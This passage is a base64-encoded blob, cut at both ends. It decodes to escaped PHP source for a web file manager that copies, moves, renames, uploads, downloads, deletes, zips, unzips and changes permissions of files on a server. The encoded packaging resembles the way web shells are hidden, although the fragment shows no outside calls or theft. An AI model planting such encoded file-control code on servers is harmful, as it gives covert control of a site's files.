vcicpO1xyXG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkpO1xyXG4gICAgfVxyXG4gICAgXC9cLyBhYnMgcGF0aCBmcm9tXHJcbiAgICAkZnJvbSA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkY29weTtcclxuICAgIFwvXC8gYWJzIHBhdGggdG9cclxuICAgICRkZXN0ID0gRk1fUk9PVF9QQVRIO1xyXG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcclxuICAgICAgICAkZGVzdCAuPSAnXC8nIC4gRk1fUEFUSDtcclxuICAgIH1cclxuICAgICRkZXN0IC49ICdcLycgLiBiYXNlbmFtZSgkZnJvbSk7XHJcbiAgICBcL1wvIG1vdmU/XHJcbiAgICAkbW92ZSA9IGlzc2V0KCRfR0VUWydtb3ZlJ10pO1xyXG4gICAgXC9cLyBjb3B5XC9tb3ZlXHJcbiAgICBpZiAoJGZyb20gIT0gJGRlc3QpIHtcclxuICAgICAgICAkbXNnX2Zyb20gPSB0cmltKEZNX1BBVEggLiAnXC8nIC4gYmFzZW5hbWUoJGZyb20pLCAnXC8nKTtcclxuICAgICAgICBpZiAoJG1vdmUpIHtcclxuICAgICAgICAgICAgJHJlbmFtZSA9IGZtX3JlbmFtZSgkZnJvbSwgJGRlc3QpO1xyXG4gICAgICAgICAgICBpZiAoJHJlbmFtZSkge1xyXG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdNb3ZlZCBmcm9tIDxiPiVzPFwvYj4gdG8gPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSk7XHJcbiAgICAgICAgICAgIH0gZWxzZWlmICgkcmVuYW1lID09PSBudWxsKSB7XHJcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKCdGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cycsICdhbGVydCcpO1xyXG4gICAgICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSA8Yj4lczxcL2I+IHRvIDxiPiVzPFwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJG1zZ19mcm9tKSksICdlcnJvcicpO1xyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgaWYgKGZtX3Jjb3B5KCRmcm9tLCAkZGVzdCkpIHtcclxuICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZignQ29weWllZCBmcm9tIDxiPiVzPFwvYj4gdG8gPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSk7XHJcbiAgICAgICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJ0Vycm9yIHdoaWxlIGNvcHlpbmcgZnJvbSA8Yj4lczxcL2I+IHRvIDxiPiVzPFwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJG1zZ19mcm9tKSksICdlcnJvcicpO1xyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgfVxyXG4gICAgfSBlbHNlIHtcclxuICAgICAgICBmbV9zZXRfbXNnKCdQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCcsICdhbGVydCcpO1xyXG4gICAgfVxyXG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSk7XHJcbn1cclxuXHJcblwvXC8gTWFzcyBjb3B5IGZpbGVzXC8gZm9sZGVyc1xyXG5pZiAoaXNzZXQoJF9QT1NUWydmaWxlJ10sICRfUE9TVFsnY29weV90byddLCAkX1BPU1RbJ2ZpbmlzaCddKSAmJiAhRk1fUkVBRE9OTFkpIHtcclxuICAgIFwvXC8gZnJvbVxyXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XHJcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xyXG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xyXG4gICAgfVxyXG4gICAgXC9cLyB0b1xyXG4gICAgJGNvcHlfdG9fcGF0aCA9IEZNX1JPT1RfUEFUSDtcclxuICAgICRjb3B5X3RvID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2NvcHlfdG8nXSk7XHJcbiAgICBpZiAoJGNvcHlfdG8gIT0gJycpIHtcclxuICAgICAgICAkY29weV90b19wYXRoIC49ICdcLycgLiAkY29weV90bztcclxuICAgIH1cclxuICAgIGlmICgkcGF0aCA9PSAkY29weV90b19wYXRoKSB7XHJcbiAgICAgICAgZm1fc2V0X21zZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnLCAnYWxlcnQnKTtcclxuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpKTtcclxuICAgIH1cclxuICAgIGlmICghaXNfZGlyKCRjb3B5X3RvX3BhdGgpKSB7XHJcbiAgICAgICAgaWYgKCFmbV9ta2RpcigkY29weV90b19wYXRoLCB0cnVlKSkge1xyXG4gICAgICAgICAgICBmbV9zZXRfbXNnKCdVbmFibGUgdG8gY3JlYXRlIGRlc3RpbmF0aW9uIGZvbGRlcicsICdlcnJvcicpO1xyXG4gICAgICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpKTtcclxuICAgICAgICB9XHJcbiAgICB9XHJcbiAgICBcL1wvIG1vdmU/XHJcbiAgICAkbW92ZSA9IGlzc2V0KCRfUE9TVFsnbW92ZSddKTtcclxuICAgIFwvXC8gY29weVwvbW92ZVxyXG4gICAgJGVycm9ycyA9IDA7XHJcbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcclxuICAgIGlmIChpc19hcnJheSgkZmlsZXMpICYmIGNvdW50KCRmaWxlcykpIHtcclxuICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHtcclxuICAgICAgICAgICAgaWYgKCRmICE9ICcnKSB7XHJcbiAgICAgICAgICAgICAgICBcL1wvIGFicyBwYXRoIGZyb21cclxuICAgICAgICAgICAgICAgICRmcm9tID0gJHBhdGggLiAnXC8nIC4gJGY7XHJcbiAgICAgICAgICAgICAgICBcL1wvIGFicyBwYXRoIHRvXHJcbiAgICAgICAgICAgICAgICAkZGVzdCA9ICRjb3B5X3RvX3BhdGggLiAnXC8nIC4gJGY7XHJcbiAgICAgICAgICAgICAgICBcL1wvIGRvXHJcbiAgICAgICAgICAgICAgICBpZiAoJG1vdmUpIHtcclxuICAgICAgICAgICAgICAgICAgICAkcmVuYW1lID0gZm1fcmVuYW1lKCRmcm9tLCAkZGVzdCk7XHJcbiAgICAgICAgICAgICAgICAgICAgaWYgKCRyZW5hbWUgPT09IGZhbHNlKSB7XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICRlcnJvcnMrKztcclxuICAgICAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmNvcHkoJGZyb20sICRkZXN0KSkge1xyXG4gICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7XHJcbiAgICAgICAgICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgfVxyXG4gICAgICAgIGlmICgkZXJyb3JzID09IDApIHtcclxuICAgICAgICAgICAgJG1zZyA9ICRtb3ZlID8gJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzIG1vdmVkJyA6ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycyBjb3BpZWQnO1xyXG4gICAgICAgICAgICBmbV9zZXRfbXNnKCRtc2cpO1xyXG4gICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICRtc2cgPSAkbW92ZSA/ICdFcnJvciB3aGlsZSBtb3ZpbmcgaXRlbXMnIDogJ0Vycm9yIHdoaWxlIGNvcHlpbmcgaXRlbXMnO1xyXG4gICAgICAgICAgICBmbV9zZXRfbXNnKCRtc2csICdlcnJvcicpO1xyXG4gICAgICAgIH1cclxuICAgIH0gZWxzZSB7XHJcbiAgICAgICAgZm1fc2V0X21zZygnTm90aGluZyBzZWxlY3RlZCcsICdhbGVydCcpO1xyXG4gICAgfVxyXG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSk7XHJcbn1cclxuXHJcblwvXC8gUmVuYW1lXHJcbmlmIChpc3NldCgkX0dFVFsncmVuJ10sICRfR0VUWyd0byddKSAmJiAhRk1fUkVBRE9OTFkpIHtcclxuICAgIFwvXC8gb2xkIG5hbWVcclxuICAgICRvbGQgPSAkX0dFVFsncmVuJ107XHJcbiAgICAkb2xkID0gZm1fY2xlYW5fcGF0aCgkb2xkKTtcclxuICAgICRvbGQgPSBzdHJfcmVwbGFjZSgnXC8nLCAnJywgJG9sZCk7XHJcbiAgICBcL1wvIG5ldyBuYW1lXHJcbiAgICAkbmV3ID0gJF9HRVRbJ3RvJ107XHJcbiAgICAkbmV3ID0gZm1fY2xlYW5fcGF0aCgkbmV3KTtcclxuICAgICRuZXcgPSBzdHJfcmVwbGFjZSgnXC8nLCAnJywgJG5ldyk7XHJcbiAgICBcL1wvIHBhdGhcclxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xyXG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcclxuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcclxuICAgIH1cclxuICAgIFwvXC8gcmVuYW1lXHJcbiAgICBpZiAoJG9sZCAhPSAnJyAmJiAkbmV3ICE9ICcnKSB7XHJcbiAgICAgICAgaWYgKGZtX3JlbmFtZSgkcGF0aCAuICdcLycgLiAkb2xkLCAkcGF0aCAuICdcLycgLiAkbmV3KSkge1xyXG4gICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJ1JlbmFtZWQgZnJvbSA8Yj4lczxcL2I+IHRvIDxiPiVzPFwvYj4nLCBmbV9lbmMoJG9sZCksIGZtX2VuYygkbmV3KSkpO1xyXG4gICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZignRXJyb3Igd2hpbGUgcmVuYW1pbmcgZnJvbSA8Yj4lczxcL2I+IHRvIDxiPiVzPFwvYj4nLCBmbV9lbmMoJG9sZCksIGZtX2VuYygkbmV3KSksICdlcnJvcicpO1xyXG4gICAgICAgIH1cclxuICAgIH0gZWxzZSB7XHJcbiAgICAgICAgZm1fc2V0X21zZygnTmFtZXMgbm90IHNldCcsICdlcnJvcicpO1xyXG4gICAgfVxyXG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSk7XHJcbn1cclxuXHJcblwvXC8gRG93bmxvYWRcclxuaWYgKGlzc2V0KCRfR0VUWydkbCddKSkge1xyXG4gICAgJGRsID0gJF9HRVRbJ2RsJ107XHJcbiAgICAkZGwgPSBmbV9jbGVhbl9wYXRoKCRkbCk7XHJcbiAgICAkZGwgPSBzdHJfcmVwbGFjZSgnXC8nLCAnJywgJGRsKTtcclxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xyXG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcclxuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcclxuICAgIH1cclxuICAgIGlmICgkZGwgIT0gJycgJiYgaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZGwpKSB7XHJcbiAgICAgICAgaGVhZGVyKCdDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyJyk7XHJcbiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uXC9vY3RldC1zdHJlYW0nKTtcclxuICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiJyAuIGJhc2VuYW1lKCRwYXRoIC4gJ1wvJyAuICRkbCkgLiAnXCInKTtcclxuICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeScpO1xyXG4gICAgICAgIGhlYWRlcignQ29ubmVjdGlvbjogS2VlcC1BbGl2ZScpO1xyXG4gICAgICAgIGhlYWRlcignRXhwaXJlczogMCcpO1xyXG4gICAgICAgIGhlYWRlcignQ2FjaGUtQ29udHJvbDogbXVzdC1yZXZhbGlkYXRlLCBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wJyk7XHJcbiAgICAgICAgaGVhZGVyKCdQcmFnbWE6IHB1YmxpYycpO1xyXG4gICAgICAgIGhlYWRlcignQ29udGVudC1MZW5ndGg6ICcgLiBmaWxlc2l6ZSgkcGF0aCAuICdcLycgLiAkZGwpKTtcclxuICAgICAgICByZWFkZmlsZSgkcGF0aCAuICdcLycgLiAkZGwpO1xyXG4gICAgICAgIGV4aXQ7XHJcbiAgICB9IGVsc2Uge1xyXG4gICAgICAgIGZtX3NldF9tc2coJ0ZpbGUgbm90IGZvdW5kJywgJ2Vycm9yJyk7XHJcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSk7XHJcbiAgICB9XHJcbn1cclxuXHJcblwvXC8gVXBsb2FkXHJcbmlmIChpc3NldCgkX1BPU1RbJ3VwbCddKSAmJiAhRk1fUkVBRE9OTFkpIHtcclxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xyXG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcclxuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcclxuICAgIH1cclxuXHJcbiAgICAkZXJyb3JzID0gMDtcclxuICAgICR1cGxvYWRzID0gMDtcclxuICAgICR0b3RhbCA9IGNvdW50KCRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pO1xyXG5cdCAgJGFsbG93ZWQgPSAoRk1fRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9FWFRFTlNJT04pIDogZmFsc2U7XHJcblxyXG4gICAgZm9yICgkaSA9IDA7ICRpIDwgJHRvdGFsOyAkaSsrKSB7XHJcblx0XHQkZmlsZW5hbWUgPSAkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddWyRpXTtcclxuICAgICAgICAkdG1wX25hbWUgPSAkX0ZJTEVTWyd1cGxvYWQnXVsndG1wX25hbWUnXVskaV07XHJcblx0XHQkZXh0ID0gcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pO1xyXG5cdFx0JGlzRmlsZUFsbG93ZWQgPSAoJGFsbG93ZWQpID8gaW5fYXJyYXkoJGV4dCwkYWxsb3dlZCkgOiB0cnVlO1xyXG4gICAgICAgIGlmIChlbXB0eSgkX0ZJTEVTWyd1cGxvYWQnXVsnZXJyb3InXVskaV0pICYmICFlbXB0eSgkdG1wX25hbWUpICYmICR0bXBfbmFtZSAhPSAnbm9uZScgJiYgJGlzRmlsZUFsbG93ZWQpIHtcclxuICAgICAgICAgICAgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wX25hbWUsICRwYXRoIC4gJ1wvJyAuICRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ11bJGldKSkge1xyXG4gICAgICAgICAgICAgICAgJHVwbG9hZHMrKztcclxuICAgICAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgICAgICRlcnJvcnMrKztcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgIH1cclxuICAgIH1cclxuXHJcbiAgICBpZiAoJGVycm9ycyA9PSAwICYmICR1cGxvYWRzID4gMCkge1xyXG4gICAgICAgIGZtX3NldF9tc2coc3ByaW50ZignQWxsIGZpbGVzIHVwbG9hZGVkIHRvIDxiPiVzPFwvYj4nLCBmbV9lbmMoJHBhdGgpKSk7XHJcbiAgICB9IGVsc2VpZiAoJGVycm9ycyA9PSAwICYmICR1cGxvYWRzID09IDApIHtcclxuICAgICAgICBmbV9zZXRfbXNnKCdOb3RoaW5nIHVwbG9hZGVkJywgJ2FsZXJ0Jyk7XHJcbiAgICB9IGVsc2Uge1xyXG4gICAgICAgIGZtX3NldF9tc2coc3ByaW50ZignRXJyb3Igd2hpbGUgdXBsb2FkaW5nIGZpbGVzLiBVcGxvYWRlZCBmaWxlczogJXMnLCAkdXBsb2FkcyksICdlcnJvcicpO1xyXG4gICAgfVxyXG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSk7XHJcbn1cclxuXHJcblwvXC8gTWFzcyBkZWxldGluZ1xyXG5pZiAoaXNzZXQoJF9QT1NUWydncm91cCddLCAkX1BPU1RbJ2RlbGV0ZSddKSAmJiAhRk1fUkVBRE9OTFkpIHtcclxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xyXG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcclxuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcclxuICAgIH1cclxuXHJcbiAgICAkZXJyb3JzID0gMDtcclxuICAgICRmaWxlcyA9ICRfUE9TVFsnZmlsZSddO1xyXG4gICAgaWYgKGlzX2FycmF5KCRmaWxlcykgJiYgY291bnQoJGZpbGVzKSkge1xyXG4gICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xyXG4gICAgICAgICAgICBpZiAoJGYgIT0gJycpIHtcclxuICAgICAgICAgICAgICAgICRuZXdfcGF0aCA9ICRwYXRoIC4gJ1wvJyAuICRmO1xyXG4gICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRuZXdfcGF0aCkpIHtcclxuICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7XHJcbiAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICB9XHJcbiAgICAgICAgaWYgKCRlcnJvcnMgPT0gMCkge1xyXG4gICAgICAgICAgICBmbV9zZXRfbXNnKCdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnKTtcclxuICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICBmbV9zZXRfbXNnKCdFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcycsICdlcnJvcicpO1xyXG4gICAgICAgIH1cclxuICAgIH0gZWxzZSB7XHJcbiAgICAgICAgZm1fc2V0X21zZygnTm90aGluZyBzZWxlY3RlZCcsICdhbGVydCcpO1xyXG4gICAgfVxyXG5cclxuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkpO1xyXG59XHJcblxyXG5cL1wvIFBhY2sgZmlsZXNcclxuaWYgKGlzc2V0KCRfUE9TVFsnZ3JvdXAnXSwgJF9QT1NUWyd6aXAnXSkgJiYgIUZNX1JFQURPTkxZKSB7XHJcbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcclxuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XHJcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XHJcbiAgICB9XHJcblxyXG4gICAgaWYgKCFjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkge1xyXG4gICAgICAgIGZtX3NldF9tc2coJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZScsICdlcnJvcicpO1xyXG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkpO1xyXG4gICAgfVxyXG5cclxuICAgICRmaWxlcyA9ICRfUE9TVFsnZmlsZSddO1xyXG4gICAgaWYgKCFlbXB0eSgkZmlsZXMpKSB7XHJcbiAgICAgICAgY2hkaXIoJHBhdGgpO1xyXG5cclxuICAgICAgICBpZiAoY291bnQoJGZpbGVzKSA9PSAxKSB7XHJcbiAgICAgICAgICAgICRvbmVfZmlsZSA9IHJlc2V0KCRmaWxlcyk7XHJcbiAgICAgICAgICAgICRvbmVfZmlsZSA9IGJhc2VuYW1lKCRvbmVfZmlsZSk7XHJcbiAgICAgICAgICAgICR6aXBuYW1lID0gJG9uZV9maWxlIC4gJ18nIC4gZGF0ZSgneW1kX0hpcycpIC4gJy56aXAnO1xyXG4gICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICR6aXBuYW1lID0gJ2FyY2hpdmVfJyAuIGRhdGUoJ3ltZF9IaXMnKSAuICcuemlwJztcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgICR6aXBwZXIgPSBuZXcgRk1fWmlwcGVyKCk7XHJcbiAgICAgICAgJHJlcyA9ICR6aXBwZXItPmNyZWF0ZSgkemlwbmFtZSwgJGZpbGVzKTtcclxuXHJcbiAgICAgICAgaWYgKCRyZXMpIHtcclxuICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdBcmNoaXZlIDxiPiVzPFwvYj4gY3JlYXRlZCcsIGZtX2VuYygkemlwbmFtZSkpKTtcclxuICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICBmbV9zZXRfbXNnKCdBcmNoaXZlIG5vdCBjcmVhdGVkJywgJ2Vycm9yJyk7XHJcbiAgICAgICAgfVxyXG4gICAgfSBlbHNlIHtcclxuICAgICAgICBmbV9zZXRfbXNnKCdOb3RoaW5nIHNlbGVjdGVkJywgJ2FsZXJ0Jyk7XHJcbiAgICB9XHJcblxyXG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSk7XHJcbn1cclxuXHJcblwvXC8gVW5wYWNrXHJcbmlmIChpc3NldCgkX0dFVFsndW56aXAnXSkgJiYgIUZNX1JFQURPTkxZKSB7XHJcbiAgICAkdW56aXAgPSAkX0dFVFsndW56aXAnXTtcclxuICAgICR1bnppcCA9IGZtX2NsZWFuX3BhdGgoJHVuemlwKTtcclxuICAgICR1bnppcCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkdW56aXApO1xyXG5cclxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xyXG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcclxuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcclxuICAgIH1cclxuXHJcbiAgICBpZiAoIWNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7XHJcbiAgICAgICAgZm1fc2V0X21zZygnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJywgJ2Vycm9yJyk7XHJcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSk7XHJcbiAgICB9XHJcblxyXG4gICAgaWYgKCR1bnppcCAhPSAnJyAmJiBpc19maWxlKCRwYXRoIC4gJ1wvJyAuICR1bnppcCkpIHtcclxuICAgICAgICAkemlwX3BhdGggPSAkcGF0aCAuICdcLycgLiAkdW56aXA7XHJcblxyXG4gICAgICAgIFwvXC90byBmb2xkZXJcclxuICAgICAgICAkdG9mb2xkZXIgPSAnJztcclxuICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ3RvZm9sZGVyJ10pKSB7XHJcbiAgICAgICAgICAgICR0b2ZvbGRlciA9IHBhdGhpbmZvKCR6aXBfcGF0aCwgUEFUSElORk9fRklMRU5BTUUpO1xyXG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJHRvZm9sZGVyLCB0cnVlKSkge1xyXG4gICAgICAgICAgICAgICAgJHBhdGggLj0gJ1wvJyAuICR0b2ZvbGRlcjtcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgJHppcHBlciA9IG5ldyBGTV9aaXBwZXIoKTtcclxuICAgICAgICAkcmVzID0gJHppcHBlci0+dW56aXAoJHppcF9wYXRoLCAkcGF0aCk7XHJcblxyXG4gICAgICAgIGlmICgkcmVzKSB7XHJcbiAgICAgICAgICAgIGZtX3NldF9tc2coJ0FyY2hpdmUgdW5wYWNrZWQnKTtcclxuICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICBmbV9zZXRfbXNnKCdBcmNoaXZlIG5vdCB1bnBhY2tlZCcsICdlcnJvcicpO1xyXG4gICAgICAgIH1cclxuXHJcbiAgICB9IGVsc2Uge1xyXG4gICAgICAgIGZtX3NldF9tc2coJ0ZpbGUgbm90IGZvdW5kJywgJ2Vycm9yJyk7XHJcbiAgICB9XHJcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpKTtcclxufVxyXG5cclxuXC9cLyBDaGFuZ2UgUGVybXMgKG5vdCBmb3IgV2luZG93cylcclxuaWYgKGlzc2V0KCRfUE9TVFsnY2htb2QnXSkgJiYgIUZNX1JFQURPTkxZICYmICFGTV9JU19XSU4pIHtcclxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xyXG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcclxuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcclxuICAgIH1cclxuXHJcbiAgICAkZmlsZSA9ICRfUE9TVFsnY2htb2QnXTtcclxuICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7XHJcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XHJcbiAgICBpZiAoJGZpbGUgPT0gJycgfHwgKCFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSAmJiAhaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkpIHtcclxuICAgICAgICBmbV9zZXRfbXNnKCdGaWxlIG5vdCBmb3VuZCcsICdlcnJvcicpO1xyXG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkpO1xyXG4gICAgfVxyXG5cclxuICAgICRtb2RlID0gMDtcclxuICAgIGlmICghZW1wdHkoJF9QT1NUWyd1ciddKSkge1xyXG4gICAgICAgICRtb2RlIHw9IDA0MDA7XHJcbiAgICB9XHJcbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsndXcnXSkpIHtcclxuICAgICAgICAkbW9kZSB8PSAwMjAwO1xyXG4gICAgfVxyXG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSB7XHJcbiAgICAgICAgJG1vZGUgfD0gMDEwMDtcclxuICAgIH1cclxuICAgIGlmICghZW1wdHkoJF9QT1NUWydnciddKSkge1xyXG4gICAgICAgICRtb2RlIHw9IDAwNDA7XHJcbiAgICB9XHJcbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZ3cnXSkpIHtcclxuICAgICAgICAkbW9kZSB8PSAwMDIwO1xyXG4gICAgfVxyXG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2d4J10pKSB7XHJcbiAgICAgICAgJG1vZGUgfD0gMDAxMDtcclxuICAgIH1cclxuICAgIGlmICghZW1wdHkoJF9QT1NUWydvciddKSkge1xyXG4gICAgICAgICRtb2RlIHw9IDAwMDQ7XHJcbiAgICB9XHJcbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnb3cnXSkpIHtcclxuICAgICAgICAkbW9kZSB8PSAwMDAyO1xyXG4gICAgfVxyXG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSB7XHJcbiAgICAgICAgJG1vZGUgfD0gMDAwMTtcclxuICAgIH1cclxuXHJcbiAgICBpZiAoQGNobW9kKCRwYXRoIC4gJ1wvJyAuICRmaWxlLCAkbW9kZSkpIHtcclxuICAgICAgICBmbV9zZXRfbXNnKCdQZXJtaXNzaW9ucyBjaGFuZ2VkJyk7XHJcbiAgICB9IGVsc2Uge1xyXG4gICAgICAgIGZtX3NldF9tc2coJ1Blcm1pc3Npb25zIG5vdCBjaGFuZ2VkJywgJ2Vycm9yJyk7XHJcbiAgICB9XHJcblxyXG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSk7XHJcbn1cclxuXHJcblwvKioqKioqKioqKioqKioqKioqKioqKioqKioqIFwvQUNUSU9OUyAqKioqKioqKioqKioqKioqKioqKioqKioqKipcL1xyXG5cclxuXC9cLyBnZXQgY3VycmVudCBwYXRoXHJcbiRwYXRoID0gRk1fUk9PVF9QQVRIO1xyXG5pZiAoRk1fUEFUSCAhPSAnJykge1xyXG4gICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XHJcbn1cclxuXHJcblwvXC8gY2hl